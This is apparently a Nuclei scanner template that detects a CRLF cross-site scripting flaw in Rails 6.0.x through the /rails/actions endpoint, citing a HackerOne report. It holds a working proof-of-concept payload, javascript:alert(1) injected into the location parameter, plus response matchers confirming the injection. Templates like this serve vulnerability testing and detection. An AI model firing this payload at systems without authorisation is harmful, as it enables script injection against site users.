id: rails6-xss
info:
  name: Rails CRLF XSS (6.0.0 < rails < 6.0.3.2)
  author: 'ooooooo_q (Original finder), Rahul and Harsh (Template author)'
  severity: medium
  reference: https://hackerone.com/reports/904059
  tags: rails,xss

  #  XSS (6.0.0 < rails < 6.0.3.2); Payload is location=%0djavascript:alert(1);
  #  Nuclei has issues with 302 response missing a Location header thus the
  #  extended payload to make Nuclei work.
  #  Working poc by @Mad-robot
  # /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aalert%28document.domain%29

requests:
  - method: POST
    path:
      - "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'javascript:alert(1)'
        part: body
      - type: status
        status:
          - 302
      - type: word
        words:
          - 'Location: aaaaa'
          - 'text/html'
        part: header
        condition: and